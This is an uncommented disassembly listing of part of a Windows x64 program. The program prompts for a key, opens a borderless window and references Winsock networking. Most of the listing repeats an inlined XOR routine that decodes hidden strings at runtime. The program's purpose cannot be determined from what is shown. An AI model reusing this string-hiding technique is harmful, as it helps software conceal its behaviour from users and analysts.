paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400dfdf0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 4]
xorps xmm2, xmm1
movd dword [rbp + 4], xmm2
mov r8d, r12d
movsxd rax, r8d
lea r9, [rbp]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x14006efd0
lea rdx, [rbp]
lea rcx, [rbp + 0xa0]
call fcn.14004cfb0
nop
lea rcx, [rbp + 0xa0]
call fcn.140049fd0
movzx ebx, al
lea rcx, [rbp + 0xa0]
call fcn.14007a0e0
test bl, bl
jne 0x14006f20e
movsd xmm0, qword [str.q_thaY_W]
movsd qword [rbp], xmm0
mov eax, dword [0x1400dd490]
mov dword [rbp + 8], eax
movzx eax, word [0x1400dd494]
mov word [rbp + 0xc], ax
cmp byte [0x1400dd495], bl
je 0x14006f1b3
mov r8d, esi
cmp r15d, 2
jl 0x14006f175
movdqa xmm4, xmmword [0x1400e0080]
movdqa xmm2, xmmword [0x1400dfdd0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400dfdf0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
mov eax, dword [0x1400dfef0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.q_thaY_W]
xorps xmm2, xmm0
movd dword [rbp], xmm2
movdqa xmm3, xmmword [0x1400dfde0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400dfdf0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 4]
xorps xmm2, xmm1
movd dword [rbp + 4], xmm2
mov r8d, r12d
movsxd rax, r8d
lea r9, [rbp]
add r9, rax
nop
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x14006f180
mov dword [rsp + 0x20], r13d
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rdx, [rbp]
lea rcx, [rbp + 0x450]
call fcn.1400778b0
nop
lea rdx, [0x140124cb0]
lea rcx, [rbp + 0x450]
call fcn.14007d1c0
lea rcx, [rbp + 0x450]
call fcn.1400777b0
nop
lea rcx, [rbp + 0x4f8]
call fcn.1400777f0
lea rcx, [rbp + 0x4f8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
jmp 0x14006f21a
lea rcx, [0x140124cb0]
call fcn.14006add0
lea rcx, [rbp + 0x770]
call fcn.1400785b0
movups xmm0, xmmword [str.q_thvf_MJ]
movups xmmword [rbp + 0x168], xmm0
movzx eax, word [0x1400dcfd0]
mov word [rbp + 0x178], ax
movzx eax, byte [0x1400dcfd2]
mov byte [rbp + 0x17a], al
mov r8d, esi
cmp r15d, 2
jl 0x14006f39d
movdqa xmm5, xmmword [0x1400dfdd0]
movdqa xmm4, xmmword [0x1400e0080]
movdqa xmm6, xmmword [0x1400dfdf0]
movdqa xmm0, xmmword [0x1400dfef0]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp + 0x16c]
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14006f290
cmp r8d, 0x13
jge 0x14006f3e3
movsxd rax, r8d
lea r9, [rbp + 0x168]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x14006f3b0
mov dword [rsp + 0x20], r13d
mov r9d, 0x40
mov r8d, r13d
lea rdx, [rbp + 0x168]
lea rcx, [rbp + 0x660]
call fcn.1400786b0
nop
cmp qword [rbp + 0x6f0], 0
je 0x14006f7ef
lea rcx, [rbp - 0x20]
call fcn.14004ce80
nop
mov rax, qword [rbp + 0x660]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x660]
add rcx, rax
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_char___cdecl_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const___ptr64]
movzx r8d, al
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0x660]
call fcn.140082360
lea rcx, [rbp - 0x20]
call fcn.140079ec0
mov r8d, 0x3f
mov rdx, rax
lea rcx, str.Input_Your_Key_here
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
mov byte [0x140124bcf], 0
lea rcx, [rbp + 0x660]
call fcn.1400785b0
nop
lea rcx, [rbp - 0x20]
call fcn.14007a0e0
call fcn.14003a020
mov edx, 0x423f
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadIconW]
mov edx, 0x423f
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadCursorW]
mov edx, 0x423f
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadIconW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [rbp + 0x340], 0x50
mov dword [rbp + 0x344], 0x40
lea rcx, [0x140076790]
mov qword [rbp + 0x348], rcx
mov qword [rbp + 0x350], rsi
mov qword [rbp + 0x358], rax
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x360], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x370], xmm1
lea rax, str.CPlusExpert
mov qword [rbp + 0x380], rax
mov qword [rbp + 0x388], rsi
lea rcx, [rbp + 0x340]
call qword [sym.imp.USER32.dll_RegisterClassExW]
mov edi, dword [0x14012374c]
mov r14d, dword [0x140123750]
mov ecx, r13d
call qword [sym.imp.USER32.dll_GetSystemMetrics]
cdq
sub eax, edx
sar eax, 1
lea ebx, [rax - 0x11d]
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetSystemMetrics]
cdq
sub eax, edx
sar eax, 1
lea r10d, [rax - 0x190]
movups xmm3, xmmword [str.qcX_Er_I_IHZG_EE_r]
movups xmmword [rbp - 0x20], xmm3
movsd xmm0, qword [0x1400ddc88]
movsd qword [rbp - 0x10], xmm0
cmp word [0x1400ddc8e], 0
je 0x14006f6b7
mov r8d, esi
cmp r15d, 2
jl 0x14006f672
movdqa xmm4, xmmword [0x1400e0080]
movdqa xmm2, xmmword [0x1400dfdd0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400dfdf0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmmword [str.22222222]
movq xmm1, xmm3
xorps xmm2, xmm1
movq qword [rbp - 0x20], xmm2
movdqa xmm3, xmmword [0x1400dfde0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400dfdf0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmmword [str.22222222]
movq xmm0, qword [rbp - 0x18]
xorps xmm2, xmm0
movq qword [rbp - 0x18], xmm2
mov r8d, r12d
movsxd rax, r8d
lea r9, [rbp - 0x20]
lea r9, [r9 + rax*2]
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x39
movzx eax, r8w
sub ax, cx
add ax, 0x32
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0xc
jl 0x14006f680
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x40], rsi
mov dword [rsp + 0x38], edi
mov dword [rsp + 0x30], r14d
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], r10d
mov r9d, 0x80000000
lea r8, [rbp - 0x20]
mov rdx, qword [rbp + 0x380]
xor ecx, ecx
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov qword [0x140126fc8], rax
mov dword [rsp + 0x28], reloc.WS2_32.dll_sendto
mov dword [rsp + 0x20], reloc.WS2_32.dll_sendto
mov r9d, dword [0x14012374c]
mov r8d, dword [0x140123750]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.GDI32.dll_CreateRoundRectRgn]
mov r8d, r13d
mov rdx, rax
mov rcx, qword [0x140126fc8]
call qword [sym.imp.USER32.dll_SetWindowRgn]
mov rcx, qword [0x140126fc8]
call fcn.1400765a0
test al, al
jne 0x14006f9b0
call fcn.140076670
mov rdx, qword [rbp + 0x358]
mov rcx, qword [rbp + 0x380]
call qword [sym.imp.USER32.dll_UnregisterClassW]
nop
lea rcx, [rbp + 0x710]
call fcn.1400785f0
lea rcx, [rbp + 0x710]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x820]
call fcn.1400785f0
lea rcx, [rbp + 0x820]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov eax, r13d
lea r11, [rsp + 0xa20]
mov rbx, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
cmp byte [0x140126fc2], 0
je 0x14006f48a
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x970]
call fcn.140076580
mov r10, rax
cmp byte [rax + 0x11], 0
je 0x14006f98f
cmp r15d, 2
jl 0x14006f95a
movdqa xmm5, xmmword [0x1400dfdd0]
movdqa xmm4, xmmword [0x1400e0080]
movdqa xmm6, xmmword [0x1400dfdf0]
movdqa xmm0, xmmword [0x1400dfef0]
movdqa xmmword [rsp + 0x70], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x70]
movd xmm2, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rsi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add esi, 8
mov eax, esi
lea rcx, [rcx + 8]
cmp esi, 0x10
jl 0x14006f850
cmp eax, 0x12
jge 0x14006f98f
movsxd r8, esi
add r8, r10
mov eax, 0x8fb823ef
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, sil
sub al, cl
add al, 0x32
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 0x12
jl 0x14006f960
mov r9d, reloc.WS2_32.dll_recv
lea r8, [0x1400de670]
mov rdx, r10
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov edx, 0xa
mov rcx, qword [0x140126fc8]
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x140126fc8]
call qword [sym.imp.USER32.dll_UpdateWindow]
mov qword [rsp + 0x30], 2
mov qword [rsp + 0x28], reloc.WS2_32.dll_sendto
mov qword [rsp + 0x20], reloc.WS2_32.dll_recv
mov r9, r12
mov edx, 0x37c0
mov r8d, 0x45c
lea rcx, str.1.89.9
call fcn.140012230
xor ecx, ecx
call fcn.140005660
mov rbx, qword [0x140126fa0]
or dword [rbx + 8], 3
xor ecx, ecx
call fcn.140022680
xor edx, edx
mov rcx, qword [0x140126fc8]
call fcn.1400380b0
mov rcx, qword [0x14015cbc8]
call fcn.140037cd0
lea rdi, [0x1400db560]
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rsi
movss xmm6, dword [0x1400dfbfc]
movaps xmm3, xmm6
mov r8d, 0x3063c
lea rdx, [0x1400f3110]
mov rcx, qword [rbx + 0x38]
call fcn.140028b20
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rsi
movss xmm3, dword [0x1400dfc08]
mov r8d, 0x3063c
lea rdx, [0x1400f3110]
mov rcx, qword [rbx + 0x38]
call fcn.140028b20
mov qword [0x140126fe8], rax
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rsi
movss xmm3, dword [0x1400dfc1c]
mov r8d, 0x3063c
lea rdx, [0x1400f3110]
mov rcx, qword [rbx + 0x38]
call fcn.140028b20
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rsi
movss xmm3, dword [0x1400dfc00]
mov r8d, 0x3063c
lea rdx, [0x1400f3110]
mov rcx, qword [rbx + 0x38]
call fcn.140028b20
mov qword [0x140126fb8], rax
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rsi
movss xmm3, dword [0x1400dfc24]
mov r8d, 0x3063c
lea rdx, [0x1400f3110]
mov rcx, qword [rbx + 0x38]
call fcn.140028b20
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rsi
movaps xmm3, xmm6
mov r8d, 0x3063c
lea rdx, [0x1400f3110]
mov rcx, qword [rbx + 0x38]
call fcn.140028b20
mov dword [rbp + 0x94], reloc.WLDAP32.dll_Ordinal_46
movsd xmm0, qword [str.q_th_V__]
movsd qword [rbp], xmm0
mov eax, dword [0x1400dd588]
mov dword [rbp + 8], eax
movzx eax, byte [0x1400dd58c]
mov byte [rbp + 0xc], al
mov r8d, esi
cmp r15d, 2
jl 0x14006fc75
movdqa xmm4, xmmword [0x1400e0080]
movdqa xmm2, xmmword [0x1400dfdd0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400dfdf0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
mov eax, dword [0x1400dfef0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.q_th_V__]
xorps xmm2, xmm0
movd dword [rbp], xmm2
movdqa xmm3, xmmword [0x1400dfde0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400dfdf0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 4]
xorps xmm2, xmm1
movd dword [rbp + 4], xmm2
mov r8d, r12d
movsxd rax, r8d
lea r9, [rbp]
add r9, rax
nop
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x14006fc80
lea r9, [rbp + 0x94]
lea r8, [rbp + 0x94]
lea rdx, [0x140126fe0]
lea rcx, [rbp]
call fcn.140069080
xor dil, dil
lea r14, [0x140158338]
movss xmm8, dword [0x1400dfca4]
movss xmm11, dword [0x1400dfb28]
movsd xmm12, qword [0x1400dfb98]
movss xmm10, dword [0x1400dfc3c]
movss xmm9, dword [0x1400dfb30]
movss xmm14, dword [0x1400dfc04]
movsd xmm15, qword [0x1400dfbc0]
movsd xmm13, qword [str.333333]
lea rdx, [rbp + 0x10]
mov rcx, qword [0x140126fb0]
call qword [sym.imp.KERNEL32.dll_GetExitCodeThread]
test eax, eax
je 0x140075648
cmp dword [rbp + 0x10], 0x103
jne 0x140075648
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x400]
call qword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
je 0x14006fdc0
nop word [rax + rax]
lea rcx, [rbp + 0x400]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x400]
call qword [sym.imp.USER32.dll_DispatchMessageW]
movzx edi, dil
cmp dword [rbp + 0x408], 0x12
cmove edi, r13d
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x400]
call qword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
jne 0x14006fd70
test dil, dil
jne 0x1400755b2
mov ecx, dword [0x140158358]
test ecx, ecx
je 0x14006fdf1
mov eax, dword [0x140158878]
test eax, eax
je 0x14006fdf1
mov dword [0x14015cbd0], ecx
mov dword [0x14015cbd4], eax
mov dword [0x140158878], esi
mov dword [0x140158358], esi
call fcn.1400766c0
call fcn.140038070
call fcn.140038a90
call fcn.140007cb0
call fcn.140069100
mov dword [rbp + 0x200], 0xc0000000
mov dword [rbp + 0x204], 0xc0c00000
movsd xmm0, qword [str.qcX_Er_I_IH]
movsd qword [rbp + 0x140], xmm0
mov eax, dword [0x1400dcc08]
mov dword [rbp + 0x148], eax
cmp byte [0x1400dcc0b], 0
je 0x14006ffa3
mov r8d, esi
cmp r15d, 2
jl 0x14006ff5c
movdqa xmm4, xmmword [0x1400e0080]
movdqa xmm2, xmmword [0x1400dfdd0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400dfdf0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
mov eax, dword [0x1400dfef0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.qcX_Er_I_IH]
xorps xmm2, xmm0
movd dword [rbp + 0x140], xmm2
movdqa xmm3, xmmword [0x1400dfde0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400dfdf0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x144]
xorps xmm2, xmm1
movd dword [rbp + 0x144], xmm2
mov r8d, r12d
movsxd rax, r8d
lea r9, [rbp + 0x140]
add r9, rax
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x14006ff70
lea rcx, [rbp + 0x140]
call fcn.14000a550
test rax, rax
je 0x14006ffc6
xor r8d, r8d
lea rdx, [rbp + 0x200]
mov rcx, rax
call fcn.14000f7f0
mov rax, qword [0x140126fa0]
or dword [rax + 0x47e8], 2
mov dword [rax + 0x4808], 0x43bd8000
mov dword [rax + 0x480c], 0x43bd8000
mov dword [rax + 0x47f0], r13d
movsd xmm0, qword [str.qcX_Er_I_IH]
movsd qword [rbp + 0x134], xmm0
mov eax, dword [0x1400dcc08]
mov dword [rbp + 0x13c], eax
cmp byte [0x1400dcc0b], 0
je 0x140070173
mov r8d, esi
cmp r15d, 2
jl 0x140070132
movdqa xmm4, xmmword [0x1400e0080]
movdqa xmm2, xmmword [0x1400dfdd0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400dfdf0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
mov eax, dword [0x1400dfef0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.qcX_Er_I_IH]
xorps xmm2, xmm0
movd dword [rbp + 0x134], xmm2
movdqa xmm3, xmmword [0x1400dfde0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400dfdf0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x138]
xorps xmm2, xmm1
movd dword [rbp + 0x138], xmm2
mov r8d, r12d
movsxd rax, r8d
lea r9, [rbp + 0x134]
add r9, rax
nop
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x140070140
xor edx, edx
lea r8d, [rdx + 0x2f]
lea rcx, [rbp + 0x134]
call fcn.14000cd10
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x140070627
mov rcx, qword [0x140126fa0]
mov rax, qword [rcx + 0x3f08]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3f08]
movss xmm7, dword [rax + 0x28]
movsd xmm0, qword [str.qcX_Er_I_IH]
movsd qword [rbp + 0x128], xmm0
mov eax, dword [0x1400dcc08]
mov dword [rbp + 0x130], eax
cmp byte [0x1400dcc0b], 0
je 0x140070343
mov r8d, esi
cmp r15d, 2
jl 0x1400702f6
movdqa xmm4, xmmword [0x1400e0080]
movdqa xmm2, xmmword [0x1400dfdd0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400dfdf0]
